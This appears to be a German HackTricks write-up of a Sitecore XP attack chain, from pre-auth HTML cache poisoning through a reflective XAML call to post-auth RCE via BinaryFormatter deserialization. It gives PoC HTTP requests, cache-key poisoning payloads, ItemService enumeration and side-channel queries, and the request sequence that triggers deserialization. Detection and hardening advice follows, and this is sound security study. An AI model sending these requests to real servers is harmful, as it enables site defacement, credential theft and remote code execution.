Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning übergeht und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/Komponenten und liefern konkrete Primitive zum Testen, Erkennen und Härtung.

  • Betroffenes Produkt (getestet): Sitecore XP 10.4.1 rev. 011628
  • Behoben in: KB1003667, KB1003734 (Juni/Juli 2025)

Siehe auch:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Einstiegspunkt ist der pre‑auth XAML handler, der in web.config registriert ist:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Zugänglich über:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Der Steuerelementbaum enthält AjaxScriptManager, der bei Event-Requests vom Angreifer kontrollierte Felder ausliest und reflektiv Methoden auf den Ziel-Steuerelementen aufruft:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Wichtige Beobachtung: die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und damit Methoden auf Sitecore WebControl freischaltet.

Magische Methode zum poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir ein pre-auth arbitrary HtmlCache write primitive.

PoC-Anfrage (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Hinweise:

  • __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil, z. B. ctl00_ctl00_ctl05_ctl03, da sie aus statischem XAML abgeleitet wird).
  • __PARAMETERS hat das Format Method("arg1","arg2").

Was zu vergiften: Aufbau des Cache-Schlüssels

Typische HtmlCache-Schlüsselkonstruktion, die von Sitecore-Controls verwendet wird:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Beispiel für targeted poisoning eines bekannten Sublayouts:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Auflisten cachefähiger Items und “vary by”-Dimensionen

Wenn der ItemService (fälschlicherweise) anonym exponiert ist, können Sie cachefähige Komponenten enumerieren, um exakte keys zu ermitteln.

Kurzer Test:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Liste der cachebaren Elemente und Flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über Folgendes aufgelistet werden:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration unter eingeschränkten Identitäten (CVE-2025-53694)

Selbst wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr-Treffer widerspiegeln. Sie können item groups/ids mit wildcards brute‑force durchführen und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte abzubilden:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Erreichbar über den convertToRuntimeHtml-Pipeline-Schritt ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und diesen base64 decodiert + deserialisiert, um die resultierende Zeichenfolge in das HTML einzufügen:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Auslösen (authentifiziert, Content Editor-Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. Ende-zu-Ende ohne UI-Klicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: Verwende ysoserial.net / YSoNet mit BinaryFormatter, um eine base64-Payload zu erzeugen, die einen String zurückgibt. Der Inhalt des Strings wird von ConvertWebControls in das HTML geschrieben, nachdem deserialization side‑effects ausgeführt wurden.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Vollständiger Ablauf

  1. Pre‑auth Angreifer vergiftet HtmlCache mit beliebigem HTML, indem er WebControl.AddToCache über XAML AjaxScriptManager reflektiv aufruft.
  2. Das vergiftete HTML liefert JavaScript, das einen authentifizierten Content Editor-Benutzer durch den FixHtml‑Flow veranlasst.
  3. Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welche attacker‑controlled base64 mittels BinaryFormatter deserialisiert → RCE unter der Sitecore app pool identity.

Erkennung

  • Pre‑auth XAML: Anfragen an /-/xaml/Sitecore.Shell.Xaml.WebControl mit __ISEVENT=1, verdächtigem __SOURCE und __PARAMETERS=AddToCache(...).
  • ItemService probing: Spike von /sitecore/api/ssc Wildcard‑Abfragen, hoher TotalCount mit leeren Results.
  • Deserialization attempts: EditHtml.aspx gefolgt von FixHtml.aspx?hdl=... und ungewöhnlich große base64-Inhalte in HTML-Feldern.

Härtung

  • Installiere Sitecore Patches KB1003667 und KB1003734; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere /-/xaml/.
  • Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.
  • Schränke /sitecore/api/ssc auf loopback oder authentifizierte Rollen ein; vermeide Impersonation‑Muster, die leak‑basierte Side‑Channels über TotalCount ermöglichen.
  • Erzwinge MFA/least privilege für Content Editor‑Benutzer; überprüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks